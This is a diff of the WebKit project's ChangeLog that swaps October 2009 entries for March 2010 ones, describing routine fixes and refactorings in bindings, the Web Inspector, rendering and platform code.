-        (WebCore::ScriptCachedFrameData::restore):
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::~ScriptController):
-        (WebCore::ScriptController::evaluateInWorld):
-        (WebCore::ScriptController::evaluate):
-        (WebCore::ScriptController::evaluateInIsolatedWorld):
-        (WebCore::ScriptController::clearWindowShell):
-        (WebCore::ScriptController::initScript):
-        (WebCore::ScriptController::processingUserGestureEvent):
-        (WebCore::ScriptController::attachDebugger):
-        (WebCore::ScriptController::updateDocument):
-        (WebCore::ScriptController::bindingRootObject):
-        (WebCore::ScriptController::createRootObject):
-        (WebCore::ScriptController::windowScriptNPObject):
-        (WebCore::ScriptController::jsObjectForPluginElement):
-        * bindings/js/ScriptController.h:
-        (WebCore::ScriptController::windowShell):
-        (WebCore::ScriptController::existingWindowShell):
-        (WebCore::ScriptController::globalObject):
-        (WebCore::ScriptController::forgetWorld):
-        * bindings/js/ScriptControllerMac.mm:
-        (WebCore::ScriptController::windowScriptObject):
-        * bindings/js/ScriptEventListener.cpp:
-        (WebCore::createAttributeEventListener):
-        * bindings/js/ScriptFunctionCall.cpp:
-        (WebCore::ScriptFunctionCall::call):
-        (WebCore::ScriptFunctionCall::construct):
-        * bindings/js/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
-        * bindings/js/ScriptState.cpp:
-        (WebCore::scriptStateFromNode):
-        (WebCore::scriptStateFromPage):
-        * bindings/js/ScriptState.h:
-        * bindings/js/WorkerScriptController.cpp:
-        (WebCore::WorkerScriptController::WorkerScriptController):
-        (WebCore::WorkerScriptController::evaluate):
-        * bindings/objc/DOMInternal.mm:
-        (-[WebScriptObject _initializeScriptDOMNodeImp]):
-        * bindings/objc/WebScriptObject.mm:
-        (-[WebScriptObject callWebScriptMethod:withArguments:]):
-        (-[WebScriptObject evaluateWebScript:]):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bridge/NP_jsobject.cpp:
-        (_NPN_InvokeDefault):
-        (_NPN_Invoke):
-        (_NPN_Evaluate):
-        (_NPN_Construct):
-        * bridge/jni/jni_jsobject.mm:
-        (JavaJSObject::call):
-        (JavaJSObject::eval):
-        * dom/Document.cpp:
-        (WebCore::Document::createWrapperCache):
-        * dom/Document.h:
-        (WebCore::Document::wrapperCacheMap):
-        (WebCore::Document::getWrapperCache):
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::startUserInitiatedProfiling):
-        (WebCore::InspectorController::stopUserInitiatedProfiling):
-        * inspector/JavaScriptCallFrame.cpp:
-        (WebCore::JavaScriptCallFrame::evaluate):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::dispatchWindowObjectAvailable):
-        * platform/network/mac/AuthenticationMac.mm:
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::XMLHttpRequest):
-        (WebCore::XMLHttpRequest::dropProtection):
-        * xml/XMLHttpRequest.h:
-        (WebCore::XMLHttpRequest::create):
-
-2009-10-22  Joseph Pecoraro  <joepeck@webkit.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: EventListenersSidebarPane TODO No Longer Needed
-        https://bugs.webkit.org/show_bug.cgi?id=30705
-
-        * inspector/front-end/EventListenersSidebarPane.js:
+        (WebCore::PopupContainer::create):
+        (WebCore::PopupContainer::PopupContainer):
+        (WebCore::PopupContainer::~PopupContainer):
+        (WebCore::PopupContainer::showPopup):
+        (WebCore::PopupContainer::showExternal):
+        (WebCore::PopupContainer::hidePopup):
+        (WebCore::PopupMenu::show):
+        * platform/chromium/PopupMenuChromium.h:
+        (WebCore::PopupContainer::):
+        (WebCore::PopupContainer::popupType):
 
-2009-10-22  Alexey Proskuryakov  <ap@apple.com>
+2010-03-22  Dmitry Titov  <dimich@chromium.org>
 
-        Reviewed by Tim Hatcher.
+        Reviewed by Nate Chapin.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30506
-        <rdar://problem/7319845> Resources that the server sent as 304 not modified are not shown
-        in the inspectors resource pane
+        [v8] Crash if the worker is terminated before its initial script is executed.
+        https://bugs.webkit.org/show_bug.cgi?id=36336
 
-        I don't know how to make a test for this.
+        Test: fast/workers/termination-early.html
 
-        The issue here was that preloaded resources weren't added to DocLoader document resource set,
-        but Web Inspector asked DocLoader to fetch data from CachedResource. Even when (if) document
-        parser eventually requested the same resource for real and it got added to resource set, it
-        was too late - the Inspector wasn't updated.
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded): Check for 0 context. When terminated, the v8 heap initialization returns 0.
+        (WebCore::WorkerContextExecutionProxy::evaluate): Don't execute script if initialization failed.
+        * bindings/v8/WorkerContextExecutionProxy.h:
 
-        * inspector/InspectorResource.cpp:
-        (WebCore::InspectorResource::cachedResource):
-        (WebCore::InspectorResource::type):
-        (WebCore::InspectorResource::resourceData):
-        * inspector/InspectorResource.h:
-        Fix the issue by trying to fetch corresponding CachedResource harder - also look in global
-        cache. This seems safe, and easier than updating the Inspector on transitions between
-        resource states (revalidate vs. revalidate done and preload vs. non-preload).
+2010-03-22  Andrey Kosyakov  <caseq@chromium.org>
 
-2009-10-22  Beth Dakin  <bdakin@apple.com>
+        Reviewed by Pavel Feldman.
 
-        Reviewed by Dan Bernstein.
+        Support creation of fake workers before document is loaded by deferring
+        attaching of fake workers iframe until document is loaded and buffering all
+        messages addressed to worker.
+        https://bugs.webkit.org/show_bug.cgi?id=36445
 
-        Fix for <rdar://problem/6942706> ER: Add a CSS property that allows 
-        shadows to work for SVG content
-        -and corresponding-
-        https://bugs.webkit.org/show_bug.cgi?id=30479
+        * inspector/front-end/InjectedFakeWorker.js:
+        (InjectedFakeWorker.FakeWorker.prototype.postMessage):
+        (InjectedFakeWorker.FakeWorker.prototype._buildWorker):
+        (InjectedFakeWorker.FakeWorker.prototype._attachWorkerFrameToDocument):
+        (InjectedFakeWorker.FakeWorker.prototype._onWorkerFrameLoaded):
 
-        This patch adds a new SVG-specific CSS property called -webkit-
-        shadow that has the same syntax as -webkit-box-shadow
+2010-03-22  Darin Fisher  <darin@chromium.org>
 
-        Add CSSPropertyWebkitShadow to the list of SVG CSS properties, and 
-        make valueForShadow a member function rather than a static function 
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::):
-        (WebCore::CSSComputedStyleDeclaration::valueForShadow):
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-        * css/CSSComputedStyleDeclaration.h:
-
-        Call valueForShadow for CSSPropertyWebkitShadow
-        * css/SVGCSSComputedStyleDeclaration.cpp:
-        (WebCore::CSSComputedStyleDeclaration::getSVGPropertyCSSValue):
-
-        Do standard CSS stuff for CSSPropertyWebkitShadow
-        * css/SVGCSSParser.cpp:
-        (WebCore::CSSParser::parseSVGValue):
-        * css/SVGCSSPropertyNames.in:
-        * css/SVGCSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applySVGProperty):
+        Reviewed by Brady Eidson.
 
-        Set the appropriate shadow on the paint context if we have one. 
-        This seems to be all we have to do to have an SVG-shaped shadow.
-        * rendering/SVGRenderSupport.cpp:
-        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+        HistoryController::replaceState() should modify m_currentItem
+        instead of the current HistoryItem of the BackForwardList.
 
-        Add shadow to SVGRenderStyle. I added a new macro that I don't like 
-        just because that's the way things are done here right now.
-        * rendering/style/SVGRenderStyle.cpp:
-        (WebCore::SVGRenderStyle::SVGRenderStyle):
-        (WebCore::SVGRenderStyle::operator==):
-        * rendering/style/SVGRenderStyle.h:
-        * rendering/style/SVGRenderStyleDefs.cpp:
-        (StyleShadowSVGData::StyleShadowSVGData):
-        (StyleShadowSVGData::operator==):
-        * rendering/style/SVGRenderStyleDefs.h:
-        (WebCore::StyleShadowSVGData::create):
-        (WebCore::StyleShadowSVGData::copy):
-        (WebCore::StyleShadowSVGData::operator!=):
-
-2009-10-22  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
- 
-        Reviewed by Xan Lopez.
+        https://bugs.webkit.org/show_bug.cgi?id=36435
 
-        https://bugs.webkit.org/show_bug.cgi?id=25530
-        [Gtk] Implement LABEL_FOR/LABELLED_BY relationship pair for labels
+        Test: fast/loader/stateobjects/replacestate-in-iframe.html
 
-        Implements atk_object_ref_relation_set and LABEL_FOR/LABELLED_BY.
-        Also causes the accessible name for labeled controls to be based on
-        the label as expected, rather than based on the contents.
+        * loader/HistoryController.cpp:
+        (WebCore::HistoryController::replaceState):
 
-        * accessibility/AccessibilityRenderObject.h:
-        * accessibility/AccessibilityRenderObject.cpp:
-        (correspondingLabelForControlElement):
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (setAtkRelationSetFromCoreObject):
-        (webkit_accessible_ref_relation_set):
-        (webkit_accessible_class_init):
-        (webkit_accessible_get_name):
+2010-03-22  Joseph Pecoraro  <joepeck@webkit.org>
 
-2009-10-22  Joseph Pecoraro  <joepeck@webkit.org>
+        Reviewed by David Kilzer.
 
-        Reviewed by Timothy Hatcher.
+        Upstream Part of the iPhone Platform sharing code with the Mac Platform
+        https://bugs.webkit.org/show_bug.cgi?id=35870
+        <rdar://problem/7707283> and <rdar://problem/7707318>
 
-        Web Inspector: windowFocused and windowBlured Fail to Clear/Mark Inspector as "inactive"
-        https://bugs.webkit.org/show_bug.cgi?id=30663
+        Part 3 of 3: Shared code between iphone and mac. The shared code was
+        refactored to be usable by both platforms without platform specific
+        typing, meaning no NSEvent versus WebEvent special cases.
 
-          Correctly handle focusing/blurring on inner <iframe>'s such as Source Frames.
+          Shared code usable by either mac or iphone platforms.
 
-        * inspector/front-end/inspector.js:
-        (WebInspector.windowFocused): fix for inner iframes
-        (WebInspector.windowBlurred): fix for inner iframes
-        (WebInspector.addMainEventListeners): change useCapture to false
+        * platform/cocoa/KeyEventCocoa.h:
+        * platform/cocoa/KeyEventCocoa.mm:
+        (WebCore::keyIdentifierForCharCode):
+        (WebCore::windowsKeyCodeForKeyCode):
+        (WebCore::windowsKeyCodeForCharCode):
 
-2009-10-22  Jaime Yap  <jaimeyap@google.com>
+          Make use of the shared code. Keep anything platform specific in the
+          original file before calling the shared code.
 
-        Reviewed by Timothy Hatcher.
+        * platform/iphone/KeyEventIPhone.mm:
+        (WebCore::keyIdentifierForKeyEvent):
+        * platform/mac/KeyEventMac.mm:
+        (WebCore::keyIdentifierForKeyEvent):
+        (WebCore::windowsKeyCodeForKeyEvent):
 
-        Makes a page reload optional when activating resource monitoring in
-        InspectorController. It leaves the default behavior as performing the reload.
-        Reload is an optional param so callsites do not have to change.
+2010-03-22  Kevin Decker  <kdecker@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30684
+        Reviewed by Simon Fraser.
 
-        No new tests added.
+        https://bugs.webkit.org/show_bug.cgi?id=36328
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::enableResourceTracking):
-        * inspector/InspectorController.h:
+        * rendering/RenderEmbeddedObject.cpp:
+        (WebCore::RenderEmbeddedObject::RenderEmbeddedObject): Fix a find/repalce mistake from my earlier patch.
+        Rename m_setShowsMissingPluginIndicator -> m_showsMissingPluginIndicator. 
+        (WebCore::RenderEmbeddedObject::updateWidget): Don't update the widget if we're showing
+        the missing plug-in indicator.
+        (WebCore::RenderEmbeddedObject::paint):Fix a find/repalce mistake from my earlier patch.
+        Rename m_setShowsMissingPluginIndicator -> m_showsMissingPluginIndicator. 
+        (WebCore::RenderEmbeddedObject::paintReplaced): Ditto.
+        * rendering/RenderEmbeddedObject.h: Ditto.
+        (WebCore::RenderEmbeddedObject::setShowsMissingPluginIndicator): Ditto.
+        (WebCore::RenderEmbeddedObject::showsMissingPluginIndicator): Ditto.
 
-2009-10-22  Shu Chang  <Chang.Shu@nokia.com>
+2010-03-22  Joseph Pecoraro  <joepeck@webkit.org>
 
-        Reviewed by Eric Seidel.
+        Reviewed by David Kilzer.
 
-        [Qt] Fix memory leak in QNetworkReplyHandler::abort().
-        In QNetworkReplyHandler::release(), m_reply should no longer point to its parent
-        after being released.
-        https://bugs.webkit.org/show_bug.cgi?id=30167
+        Upstream Part of the iPhone Platform sharing code with the Mac Platform
+        https://bugs.webkit.org/show_bug.cgi?id=35870
+        <rdar://problem/7707283>
 
-        No layout test available as a non-functional fix.
+        Part 2 of 3: No changes other than moving code around.
+        Copied KeyEvent function from platform/mac to a platform/cocoa shared directory.
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::abort):
-        (WebCore::QNetworkReplyHandler::release):
+        * WebCore.xcodeproj/project.pbxproj: Added cocoa group and new files.
+        * platform/cocoa/KeyEventCocoa.h: Added.
+        * platform/cocoa/KeyEventCocoa.mm: Copied from WebCore/platform/mac/KeyEventMac.mm.
+        (WebCore::keyIdentifierForKeyEvent):
+        (WebCore::windowsKeyCodeForKeyEvent): Include the shared code.
+        * platform/mac/KeyEventMac.mm:
 
-2009-10-22  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-22  Joseph Pecoraro  <joepeck@webkit.org>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by David Kilzer.
 
-        Web Inspector: Fix DOMAgent leak.
+        Part 1 of 3: Upstream iPhone KeyEvent platform code and share with Mac platform
+        https://bugs.webkit.org/show_bug.cgi?id=35870
+        <rdar://problem/7707283>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30615
+        * WebCore.xcodeproj/project.pbxproj: Added iphone group and new files.
+        * platform/iphone: Added.
+        * platform/iphone/KeyEventCodesIPhone.h: Added.
+        * platform/iphone/KeyEventIPhone.mm: Added. Ensure PLATFORM(IPHONE)
+        * platform/mac/KeyEventMac.mm: Ensure PLATFORM(MAC)
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::~InspectorController):
-        (WebCore::InspectorController::setFrontendProxyObject):
-        (WebCore::InspectorController::close):
-        (WebCore::InspectorController::releaseDOMAgent):
-        * inspector/InspectorController.h:
-        * inspector/InspectorDOMAgent.h:
-        (WebCore::InspectorDOMAgent::create):
+2010-03-22  Kevin Decker  <kdecker@apple.com>
+    
+        Attempt to fix the Leopard build.
+        * rendering/RenderEmbeddedObject.cpp: Add ".f" to contants.
 
-2009-10-22  Dimitri Glazkov  <dglazkov@chromium.org>
+2010-03-22  Justin Schuh  <jschuh@chromium.org>
 
-        Reviewed by Adam Barth.
+        Reviewed by Dirk Schulze.
 
-        [V8] Rework event listeners to not hold references to frame or V8 context.
+        Out of bounds read in SVG feColorMatrix filter
+        https://bugs.webkit.org/show_bug.cgi?id=32714
 
-        https://bugs.webkit.org/show_bug.cgi?id=30648
+        Prevents an invalid read when a valid values attribute is not
+        supplied for an feColorMatrix SVG filter. Also fixes general
+        handling of missing or invalid values attribute.
 
-        Covered by existing layout tests: fast/events/attribute-listener*
+        Tests: svg/filters/feColorMatrix-invalid-value.svg
+               svg/filters/feColorMatrix-values.svg
 
-        * bindings/scripts/CodeGeneratorV8.pm: Added passing ScriptExecutionContext*
-            to event listener handling code.
-        * bindings/v8/DateExtension.cpp:
-        (WebCore::DateExtension::setAllowSleep): Changed to use currentContext().
-        * bindings/v8/ScriptEventListener.cpp:
-        (WebCore::createAttributeEventListener): Reworked to match JSC logic.
-        (WebCore::getEventListenerHandlerBody): Added ScriptExecutionContext* param.
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::V8AbstractEventListener): Removed Frame* param
-            and usage.
-        (WebCore::V8AbstractEventListener::handleEvent): Chaged to use ScriptExecutionContext*.
-        (WebCore::V8AbstractEventListener::invokeEventHandler): Ditto.
-        * bindings/v8/V8AbstractEventListener.h:
-        (WebCore::V8AbstractEventListener::getListenerObject): Ditto.
-        (WebCore::V8AbstractEventListener::prepareListenerObject): Ditto.
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertEventListenerToV8Object):  Added ScriptExecutionContext* param.
-        (WebCore::V8DOMWrapper::getEventListener): Ditto.
-        * bindings/v8/V8DOMWrapper.h:
-        (WebCore::V8DOMWrapper::convertEventListenerToV8Object): Ditto.
-        * bindings/v8/V8EventListenerList.h:
-        (WebCore::V8EventListenerList::findOrCreateWrapper): Removed ContextType* template param,
-            because it's no longer needed.
-        * bindings/v8/V8IsolatedWorld.h:
-        (WebCore::V8IsolatedWorld::sharedContext): Renamed from shared_context.
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListener::V8LazyEventListener): Removed Frame* param and usage.
-        (WebCore::V8LazyEventListener::callListenerFunction): Added ScriptExecutionContext* param.
-        (WebCore::V8LazyEventListener::prepareListenerObject): Ditto.
-        * bindings/v8/V8LazyEventListener.h:
-        (WebCore::V8LazyEventListener::create): Reordered params to match JSC impl.
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::V8Proxy): Adjusted formatting to match WebKit style.
-        (WebCore::V8Proxy::evaluateInNewContext): Changed to use m_context directly.
-        (WebCore::V8Proxy::setInjectedScriptContextDebugId): Ditto.
-        (WebCore::V8Proxy::createWrapperFromCacheSlowCase): Ditto.
-        (WebCore::V8Proxy::isContextInitialized): Ditto.
-        (WebCore::V8Proxy::updateDocumentWrapperCache): Ditto.
-        (WebCore::V8Proxy::clearDocumentWrapperCache): Ditto.
-        (WebCore::V8Proxy::disposeContextHandles): Added explicit disposing of m_context. 
-        (WebCore::V8Proxy::clearForClose): Changed to use m_context directly.
-        (WebCore::V8Proxy::clearForNavigation): Ditto.
-        (WebCore::V8Proxy::setSecurityToken): Ditto.
-        (WebCore::V8Proxy::updateDocument): Ditto.
-        (WebCore::V8Proxy::initContextIfNeeded): Ditto.
-        (WebCore::V8Proxy::context): Changed to use v8::Local.
-        (WebCore::V8Proxy::mainWorldContext): Changed to use m_context directly. 
-        (WebCore::V8Proxy::setContextDebugId): Ditto.
-        (WebCore::toV8Context):
-        * bindings/v8/V8Proxy.h: Removed shared_context decl, changed to use straight
-            v8::Persistent for m_context.
-        * bindings/v8/V8WorkerContextEventListener.cpp:
-        (WebCore::workerProxy): Added.
-        (WebCore::V8WorkerContextEventListener::V8WorkerContextEventListener): Removed
-            WorkerContextExecutionProxy* param.
-        (WebCore::V8WorkerContextEventListener::handleEvent): Started using ScriptExecutionContext*.
-        (WebCore::V8WorkerContextEventListener::reportError): Ditto.
-        (WebCore::V8WorkerContextEventListener::callListenerFunction): Ditto.
-        (WebCore::V8WorkerContextEventListener::getReceiverObject): Ditto.
-        * bindings/v8/V8WorkerContextEventListener.h:
-        (WebCore::V8WorkerContextEventListener::create): Removed
-            WorkerContextExecutionProxy* param.
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::findOrCreateEventListener): Removed ContextType*
-            template param.
-        * bindings/v8/custom/V8CustomEventListener.cpp:
-        (WebCore::V8EventListener::V8EventListener): Removed Frame* param.
-        (WebCore::V8EventListener::getListenerFunction): Started using ScriptExecutionContext*.
-        (WebCore::V8EventListener::callListenerFunction): Ditto.
-        * bindings/v8/custom/V8CustomEventListener.h:
-        (WebCore::V8EventListener::create): Removed Frame* param.
+        * svg/SVGFEColorMatrixElement.cpp:
+        (WebCore::SVGFEColorMatrixElement::build):
 
-2009-10-14  Gaurav Shah  <gauravsh@google.com>
+2010-03-22  Philippe Normand  <pnormand@igalia.com>
 
-        Reviewed by Darin Fisher.
+        Reviewed by Eric Carlson.
 
-        Replaces temporary link stub for <keygen> tag handler for the Chromium
-        browser with a call via the Chromium Bridge.
+        [GStreamer] Use ImageBuffer API to do painting
+        https://bugs.webkit.org/show_bug.cgi?id=35783
 
-        https://bugs.webkit.org/show_bug.cgi?id=30360
+        New ImageGStreamer class abstracting the conversion of GStreamer
+        buffers to cairo surfaces. Using this makes the painting code of
+        the player more generic.
 
-        * platform/SSLKeyGenerator.h:
-        * platform/chromium/ChromiumBridge.h:
-        * platform/chromium/SSLKeyGeneratorChromium.cpp:
-        (WebCore::getSupportedKeySizes):
-        (WebCore::signedPublicKeyAndChallengeString):
-        * platform/chromium/TemporaryLinkStubs.cpp:
-        (WebCore::KURL::fileSystemPath):
-        (WebCore::SharedBuffer::createWithContentsOfFile):
+        * GNUmakefile.am:
+        * platform/graphics/gstreamer/ImageGStreamer.h: Added.
+        (WebCore::ImageGStreamer::image):
+        * platform/graphics/gstreamer/ImageGStreamerCairo.cpp: Added.
+        (ImageGStreamer::createImage):
+        (ImageGStreamer::ImageGStreamer):
+        (ImageGStreamer::~ImageGStreamer):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::paint):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
 
-2009-10-22  Avi Drissman  <avi@chromium.org>
+2010-03-22  Beth Dakin  <bdakin@apple.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Darin Adler.
 
-        Fixes Chromium Mac pasteboard handling to flow through the same code paths as other platforms.
+        Fix for <rdar://problem/7766437> With Web Inspector opened, a crash 
+        occurs at Webcore:getMatchedCSSRules() when navigating to a 
+        previous page
 
-        https://bugs.webkit.org/show_bug.cgi?id=30591
+        defaultView() can legitimately by null (as it is in this case), so 
+        it must be null-checked.
 
-        * platform/chromium/ChromiumBridge.h:
-        * platform/chromium/PasteboardChromium.cpp:
-        (WebCore::Pasteboard::writeImage):
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::getStyles):
+        (WebCore::InspectorDOMAgent::getComputedStyle):
+        (WebCore::InspectorDOMAgent::getMatchedCSSRules):
 
-2009-10-20  Simon Fraser  <simon.fraser@apple.com>
+2010-03-22  Kevin Decker  <kdecker@apple.com>
 
-        Reviewed by Darin Adler.
+        Reviewed by Darin.
 
-        Make accelerated compositing debug indicators work in release builds
-        https://bugs.webkit.org/show_bug.cgi?id=30588
+        https://bugs.webkit.org/show_bug.cgi?id=36328
         
-        Allow some debug indicators, that show which page elements go into compositing layers,
-        to work in release builds, when the runtime prefs are set.
-
-        * platform/graphics/GraphicsLayer.cpp:
-        (WebCore::GraphicsLayer::GraphicsLayer):
-        (WebCore::GraphicsLayer::setZPosition):
-        * platform/graphics/GraphicsLayer.h:
-        * platform/graphics/mac/GraphicsLayerCA.h:
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::clearBorderColor):
-        (WebCore::GraphicsLayer::showRepaintCounter):
-        (WebCore::GraphicsLayerCA::GraphicsLayerCA):
-        (WebCore::GraphicsLayerCA::updateMasksToBounds):
-        (WebCore::GraphicsLayerCA::updateLayerDrawsContent):
-        (WebCore::GraphicsLayerCA::setDebugBorder):
-        (WebCore::GraphicsLayerCA::swapFromOrToTiledLayer):
-        (WebCore::GraphicsLayerCA::setupContentsLayer):
-        * platform/graphics/mac/WebLayer.mm:
-
-2009-10-22  Keishi Hattori  <casey.hattori@gmail.com>
-
-        Reviewed by Pavel Feldman.
-
-        Inspector should support monitorEvents/un monitorEvents() in the command line
-        https://bugs.webkit.org/show_bug.cgi?id=19879
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadPlugin): Call setShowsMissingPluginIndicator(true) in cases that fail
+        to generate a widget.
+        * rendering/RenderEmbeddedObject.cpp: Added new missing plug-in related static constants
+        (WebCore::RenderEmbeddedObject::RenderEmbeddedObject): Initialize newly boolean to false.
+        (WebCore::RenderEmbeddedObject::paint): Added.
+        (WebCore::RenderEmbeddedObject::paintReplaced): Added. Draws a subtle rounded rectangle
+        containing the text "Missing Plug-in".
+        * rendering/RenderEmbeddedObject.h: Added the following two methods below.
+        (WebCore::RenderEmbeddedObject::setShowsMissingPluginIndicator):
+        (WebCore::RenderEmbeddedObject::showsMissingPluginIndicator):
+        * rendering/RenderWidget.h: Moved paint(PaintInfo&, int, int) from private to protected.
+
+2010-03-22  Jakub Wieczorek  <faw217@gmail.com>
 
-        * inspector/front-end/EventListenersSidebarPane.js:
-        (WebInspector.EventListenersSidebarPane.prototype.update.callback): Ignores event listeners generated by monitorEvent
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript._ensureCommandLineAPIInstalled): Added _inspectorCommandLineAPI._logEvent, _allEventTypes, 
-        _normalizeEventTypes, monitorEvent, unmonitorEvent.
+        Reviewed by Kenneth Rohde Christiansen.
 
-2009-10-21  Joseph Pecoraro  <joepeck@webkit.org>
+        [Qt] Phonon media backend: expose supported MIME types to WebCore
 
-        Reviewed by Pavel Feldman.
+        https://bugs.webkit.org/show_bug.cgi?id=33453
 
-        Web Inspector: windowFocused and windowBlurred Fail to Clear/Mark Inspector as "inactive"
-        https://bugs.webkit.org/show_bug.cgi?id=30663
+        MediaPlayerPrivate should expose the MIME types that are supported
+        by the underlying backend in Phonon.
 
-        * inspector/front-end/inspector.js:
-        (WebInspector.windowFocused):
-        (WebInspector.windowBlurred):
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        (WebCore::MediaPlayerPrivate::supportedTypesCache):
+        (WebCore::MediaPlayerPrivate::getSupportedTypes):
+        (WebCore::MediaPlayerPrivate::supportsType):
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.h:
 
-2009-10-22  Joseph Pecoraro  <joepeck@webkit.org>
+2010-03-22  Alexander Pavlov  <apavlov@chromium.org>
 
         Reviewed by Pavel Feldman.
 
-        Web Inspector: Error - requestContentType [undefined] is not an object
-        https://bugs.webkit.org/show_bug.cgi?id=30666
+        Web Inspector: AuditRules still use getMatchedCSSRules as a part of the img-related audit.
+        https://bugs.webkit.org/show_bug.cgi?id=36424
 
-        * inspector/front-end/ResourceView.js:
-        (WebInspector.ResourceView.prototype._refreshFormData):
-
-2009-10-22  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Holger Freyther.
-
-        [Haiku] Correction of the accented letter width (they were 2 characters long).
-        https://bugs.webkit.org/show_bug.cgi?id=30629
-
-        * platform/graphics/haiku/SimpleFontDataHaiku.cpp:
-        (WebCore::SimpleFontData::platformWidthForGlyph):
-
-2009-10-21  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        <rdar://problem/7270320> Screenshots of off-screen plug-ins are blank
-        <rdar://problem/7270314> After halting a transparent PluginView on
-        Windows, the transparency is applied twice
+        * inspector/front-end/AuditRules.js:
+        (WebInspector.AuditRules.ImageDimensionsRule.prototype.doRun):
+        (WebInspector.AuditRules.ImageDimensionsRule.prototype.doRun.receivedImages):
+        (WebInspector.AuditRules.ImageDimensionsRule.prototype.doRun.pushImageNodes):
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
 
-        Replace use of Frame::nodeImage() with a function that takes a snapshot
-        of a PluginView.
+2010-03-22  Darin Adler  <darin@apple.com>
 
         Reviewed by Dan Bernstein.
 
-        * plugins/PluginView.h:
-        Made paintWindowedPluginIntoContext() non-const, as it now calls
-        paintIntoTransformedContext(). Declare paintIntoTransformedContext()
-        and snapshot() for Windows platforms.
+        TextBreakIteratorICU.cpp is incompatible with new UBreakIterator type in ICU 4.4
+        https://bugs.webkit.org/show_bug.cgi?id=36381
 
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::paintIntoTransformedContext):
-        Paints into the passed HDC without applying any coordinate translations.
-        Code moved from paintWindowedPluginIntoContext() and paint(). Removed
-        the memset() of windowpos in lieu of assignment.
-        (WebCore::PluginView::paintWindowedPluginIntoContext):
-        Code moved to paintIntoTransformedContext().
-        (WebCore::PluginView::paint):
-        Ditto.
-        (WebCore::PluginView::snapshot):
-        Create a context, and if the plug-in is windowless, translate it so the
-        plug-in will draw at the correct location. Create a bitmap, and select
-        it into the context. Paint the plug-in, and create a BitmapImage from
-        the bitmap.
-        (WebCore::PluginView::halt):
-        Use snapshot().
-
-2009-10-22  Fumitoshi Ukai  <ukai@chromium.org>
-
-        Reviewed by Alexey Proskuryakov.
+        * platform/text/TextBreakIteratorICU.cpp:
+        (WebCore::setUpIterator): Use reinterpret_cast instead of static_cast or relying
+        on conversion to void*.
+        (WebCore::textBreakFirst): Ditto.
+        (WebCore::textBreakLast): Ditto.
+        (WebCore::textBreakNext): Ditto.
+        (WebCore::textBreakPrevious): Ditto.
+        (WebCore::textBreakPreceding): Ditto.
+        (WebCore::textBreakFollowing): Ditto.
+        (WebCore::textBreakCurrent): Ditto.
+        (WebCore::isTextBreak): Ditto.
+        (WebCore::setUpIteratorWithRules): Ditto.
 
-        Fix calculation of length in WebSocketChannel.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=30656
+2010-03-22  Eric Carlson  <eric.carlson@apple.com>
 
-        * websockets/WebSocketChannel.cpp:
-        (WebCore::WebSocketChannel::didReceiveData):
-
-2009-10-21  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
+        Reviewed by Sam Weinig.
 
-        Adding the ability to enable/disable functions in V8 at runtime.
+        Typo in GPL license text
+        https://bugs.webkit.org/show_bug.cgi?id=36442
 
-        https://bugs.webkit.org/show_bug.cgi?id=30650
+        Fix typo - "aint with this library" -> "along with this library".
 
+        * bindings/scripts/CodeGenerator.pm:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bindings/scripts/CodeGeneratorObjC.pm:
         * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/scripts/IDLParser.pm:
+        * bindings/scripts/IDLStructure.pm:
+        * bindings/scripts/generate-bindings.pl:
 
-2009-10-21  Darin Adler  <darin@apple.com>
-
-        Swedish search (and other languages as well) is broken while fixing Japanese search
-        https://bugs.webkit.org/show_bug.cgi?id=30646
-
-        Rolled Japanese tailoring out that was done to fix
-        https://bugs.webkit.org/show_bug.cgi?id=30437 earlier.
-        It was overriding the locale-specific tailoring.
-        We'll land a fix once we figure out how to add the
